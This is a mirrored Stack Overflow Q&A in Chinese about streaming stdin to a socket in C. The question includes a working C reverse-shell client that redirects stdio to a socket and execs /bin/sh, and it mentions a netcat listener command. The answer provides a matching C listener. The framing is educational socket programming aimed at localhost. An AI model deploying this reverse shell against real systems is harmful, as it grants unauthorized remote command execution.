c - 将stdin流式传输到套接字

标签 c sockets std telnet netcat

在Python 3中,我可以利用telnetlib的库来使用/导入interact方法,该方法可以让我将stdin流化为传递给socket方法的interact。另外,netcat提供了类似的功能(当然,除了能够在Python 3中以编程方式传递socket之外),例如:nc -nvlp 8080
我的问题是:
有没有办法以编程方式复制telnetlibinteract方法的行为/将stdin流流传输到C中的给定socket中?还是这个过程令人费解?如果过于简单,那么如何在C中复制interact方法的逻辑呢?
例如,说我正在运行一个类似于SSH的简单客户端C反向Shell程序,该程序使用dup2stdinstdoutstderr流式传输到重复的套接字file descriptor。如何在C中以编程方式与该客户端进行通信?
我正在尝试以编程方式与示例C客户端进行通信:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

    for (int i=0; i<3; i++)
           dup2(s, i);

    execve("/bin/sh", 0, 0);
    return 0;
}
总结一下:我基本上是想在C中以编程方式与提供的客户端进行通信。

最佳答案

I am basically trying to communicate with the provided client programmatically within C.


一个可以满足您需求的程序不必很大;这是一个简单的例子:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 8080

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = INADDR_ANY;
    sa.sin_port = htons(PORT);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
    listen(s, 0);
    int t = accept(s, NULL, NULL);
    if (t < 0) perror("accept"), exit(1);
    fd_set fds, fdr;
    FD_ZERO(&fds);
    FD_SET(0, &fds);    // add STDIN to the fd set
    FD_SET(t, &fds);    // add connection to the fd set
    while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
    {   char buf[BUFSIZ];
        if (FD_ISSET(0, &fdr))
        {   // this is the user's input
            size_t count = read(0, buf, sizeof buf);
            if (count > 0) write(t, buf, count);
            else break; // no more input from user
        }
        if (FD_ISSET(t, &fdr))
        {   // this is the client's output or termination
            size_t count = read(t, buf, sizeof buf);
            if (count > 0) write(1, buf, count);
            else break; // no more data from client
        }
    }
}
关键部分是select循环,该循环检查STDIN或套接字连接是否可读,并将读取的数据复制到另一侧。

关于c - 将stdin流式传输到套接字,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/66211900/

相关文章:

c - 尝试添加数组元素时出现段错误

c# - 套接字通信程序测试

php - fsockopen() : unable to connect not work with PHP (Connection timed out)

c++ - 通过套接字发送西里尔文消息的问题

C++ - 将 istream_iterator 与 wstringstream 一起使用

c - 将 16 位整数与 double 相乘的最快方法是什么?

c++ - Code::Blocks 无法加载项目?

c - ftruncate() 的参数是什么?

c++ - DLIB C++ 如何制作 dlib::matrix 的 std::vector

c++ - 我需要使用 'using namespace std' 命令吗?